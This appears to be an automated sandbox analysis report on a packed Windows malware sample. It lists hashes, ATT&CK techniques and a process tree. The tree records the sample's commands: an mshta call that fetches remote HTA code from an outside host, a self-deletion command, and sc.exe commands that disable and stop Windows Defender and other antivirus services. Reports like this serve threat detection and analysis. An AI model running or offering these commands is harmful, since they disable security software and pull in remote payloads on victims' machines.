479d778eef8466818b7ad533ec36ec160796398a22fab717b162e7fd149f1b63

General

Target

0faa869e08d068297edd23ef8ac75f64.exe
Size

2.2MB
MD5

0faa869e08d068297edd23ef8ac75f64
SHA1

016b7a80418b57367e1d729ffaaf749394dda44e
SHA256

479d778eef8466818b7ad533ec36ec160796398a22fab717b162e7fd149f1b63
SHA512

32f62ad6ac667eff2babf02f97f2f15ec8276e7acd304158c1ebf9fba9fe98fdfc92cf5e4cacb3e4a038c13d2bb18285b5a62aa6499297f9d74615adf8075378
SSDEEP

24576:Xb5uYoANOFkQdELilVmyUkc35/lcPheUdzoYTjPZTGIAiiXRuUNK4dcoQL4:XbYYLNcgbkoWvdcYqiouUNMoO4

Score

10^/10

evasion upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.statson-linesec.info/?0=187&1=0&2=1&3=81&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=1111&12=vvvileubdb&14=1

Signatures

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
2192	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2000	Protector-caay.exe

Loads dropped DLL 2 IoCs

pid	Process
1716	0faa869e08d068297edd23ef8ac75f64.exe
1716	0faa869e08d068297edd23ef8ac75f64.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1716-4-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/1716-14-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/1716-1-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-21-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-19-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-25-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-23-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-41-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-42-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-46-0x0000000000400000-0x0000000000982000-memory.dmp	upx
behavioral1/memory/2000-47-0x0000000000400000-0x0000000000745000-memory.dmp	upx
behavioral1/memory/2000-50-0x0000000000400000-0x0000000000745000-memory.dmp	upx

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1196	sc.exe
1876	sc.exe
1540	sc.exe
1544	sc.exe
1556	sc.exe
1652	sc.exe
2820	sc.exe
1804	sc.exe
3052	sc.exe
2252	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	0faa869e08d068297edd23ef8ac75f64.exe
Token: SeShutdownPrivilege	1716	0faa869e08d068297edd23ef8ac75f64.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1716	0faa869e08d068297edd23ef8ac75f64.exe
1716	0faa869e08d068297edd23ef8ac75f64.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 2000	1716	0faa869e08d068297edd23ef8ac75f64.exe	30
PID 1716 wrote to memory of 2000	1716	0faa869e08d068297edd23ef8ac75f64.exe	30
PID 1716 wrote to memory of 2000	1716	0faa869e08d068297edd23ef8ac75f64.exe	30
PID 1716 wrote to memory of 2000	1716	0faa869e08d068297edd23ef8ac75f64.exe	30
PID 1716 wrote to memory of 2192	1716	0faa869e08d068297edd23ef8ac75f64.exe	29
PID 1716 wrote to memory of 2192	1716	0faa869e08d068297edd23ef8ac75f64.exe	29
PID 1716 wrote to memory of 2192	1716	0faa869e08d068297edd23ef8ac75f64.exe	29
PID 1716 wrote to memory of 2192	1716	0faa869e08d068297edd23ef8ac75f64.exe	29

C:\Users\Admin\AppData\Local\Temp\0faa869e08d068297edd23ef8ac75f64.exe
"C:\Users\Admin\AppData\Local\Temp\0faa869e08d068297edd23ef8ac75f64.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\0FAA86~1.EXE" >> NUL
  2⤵
  - Deletes itself
  PID:2192
- C:\Users\Admin\AppData\Roaming\Protector-caay.exe
  C:\Users\Admin\AppData\Roaming\Protector-caay.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://galaint.statson-linesec.info/?0=187&1=0&2=1&3=81&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=1111&12=vvvileubdb&14=1"
    3⤵
    PID:2052
- - C:\Windows\SysWOW64\sc.exe
    sc config GuardX start= disabled
    3⤵
    - Launches sc.exe
    PID:1556
- - C:\Windows\SysWOW64\sc.exe
    sc stop GuardX
    3⤵
    - Launches sc.exe
    PID:1196
- - C:\Windows\SysWOW64\sc.exe
    sc config AntiVirSchedulerService start= disabled
    3⤵
    - Launches sc.exe
    PID:1876
- - C:\Windows\SysWOW64\sc.exe
    sc config AntiVirService start= disabled
    3⤵
    - Launches sc.exe
    PID:1652
- - C:\Windows\SysWOW64\sc.exe
    sc stop AntiVirService
    3⤵
    - Launches sc.exe
    PID:1540
- - C:\Windows\SysWOW64\sc.exe
    sc config ekrn start= disabled
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\SysWOW64\sc.exe
    sc config msmpsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2820
- - C:\Windows\SysWOW64\sc.exe
    sc stop msmpsvc
    3⤵
    - Launches sc.exe
    PID:1804
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3052
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Impair Defenses

1

T1562

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

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Downloads

C:\Users\Admin\AppData\Roaming\Protector-caay.exe

Filesize
258KB

MD5
0c00ab2854496ac8d0cb3e69c254badc

SHA1
8a6910ccc6979f8be8dea19b50fac7060b4fc412

SHA256
17ea7107d227956964fe4ef5ca0c03293acca7c3d46356342804afa68d9ce3a9

SHA512
034e065c33b78dbb7b87b54039c29f9d62916b1abe5cf6c0501d1f7c68549021476923f748a56d2fcec00ab1ed89e046378a7970fc8465315c2934e4027c850c

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C:\Users\Admin\AppData\Roaming\Protector-caay.exe

Filesize
170KB

MD5
bdf781ce475dd0f2420a4c9dea7161a3

SHA1
b25fe882fb1591fc9405b89dbb05a581cf7a412a

SHA256
0e66b7329c9e1a7fd77751bfe259ac0c9b2fb33769ce3f0d6fde0d4e7dfbe8aa

SHA512
22242f6681d00636f141ce2577ba624b16aac5959916336ff17bbf27346c603c894110c1d0e95f23abe1ea4c6f2afd7b12dc939051c8f9cc68795655c1948ebe

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C:\Users\Admin\AppData\Roaming\Protector-caay.exe

Filesize
64KB

MD5
f8d6969efd585a3e1fb4a94b9b14adad

SHA1
04867ebbd54c2746a083007dd1f7f6b59a9a94d7

SHA256
91290362e59bce8d0246044e898bce36b24d06ad01b75ef16d0bebea32c0b0ef

SHA512
2070a19b5240d0a8a057bebba1c13d0022a3d62c83a7fd8f4bbda144a135e11f79a2d4216a9fe1d1d037a1118aa2c610d37ce9f8358b6895794be78275151ef7

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\Users\Admin\AppData\Roaming\Protector-caay.exe

Filesize
173KB

MD5
2a044e2a3a6719259f66840372d9db73

SHA1
fc2e31e762f9d65905f1e33d4228f0503043bb99

SHA256
3a59d2071f972a6604d6d86ed3bac45aa8b41044e6b2e7beed2c09b79151b488

SHA512
d24e88ae05cdc2ba4056a04227b2644738df32d79bb56a2fdf84bfc70fd0535077e671c50b2274d86b120d62d9226f6ff15ad80206174e6f9fcf8038d6fba511

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\Users\Admin\AppData\Roaming\Protector-caay.exe

Filesize
197KB

MD5
3c70491c583e47fb5a9eeee3933927b6

SHA1
6973034b9b8a2fc73e3dfc7f18f28b1f4db8c157

SHA256
8edc46ee6e42439495f82b0c7d33bc6358a77c08233033cd474d82281ef8a30a

SHA512
47ff598b3b7115cb8f95cbd10b2fcce1a5fd38257d7796c0f8edbef3f8a2a0690b2af9af8e7958f10bfff31fda767d05dfec84796cf95e92b95fa7623319279d

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memory/1716-1-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/1716-0-0x0000000000400000-0x0000000000982000-memory.dmp

Filesize
5.5MB

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memory/1716-16-0x0000000076BB0000-0x0000000076CC0000-memory.dmp

Filesize
1.1MB

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memory/1716-14-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/1716-15-0x0000000074CC0000-0x0000000074D39000-memory.dmp

Filesize
484KB

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memory/1716-4-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/1716-5-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

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memory/1716-3-0x0000000074CC0000-0x0000000074D39000-memory.dmp

Filesize
484KB

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memory/1716-2-0x0000000076BB0000-0x0000000076CC0000-memory.dmp

Filesize
1.1MB

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memory/2000-21-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-41-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-17-0x0000000000400000-0x0000000000982000-memory.dmp

Filesize
5.5MB

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memory/2000-20-0x0000000074E70000-0x0000000074EE9000-memory.dmp

Filesize
484KB

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memory/2000-19-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-25-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-23-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-22-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

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memory/2000-42-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-43-0x00000000056E0000-0x000000000619A000-memory.dmp

Filesize
10.7MB

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memory/2000-44-0x00000000064F0000-0x0000000007552000-memory.dmp

Filesize
16.4MB

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memory/2000-46-0x0000000000400000-0x0000000000982000-memory.dmp

Filesize
5.5MB

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memory/2000-47-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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memory/2000-48-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

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memory/2000-50-0x0000000000400000-0x0000000000745000-memory.dmp

Filesize
3.3MB

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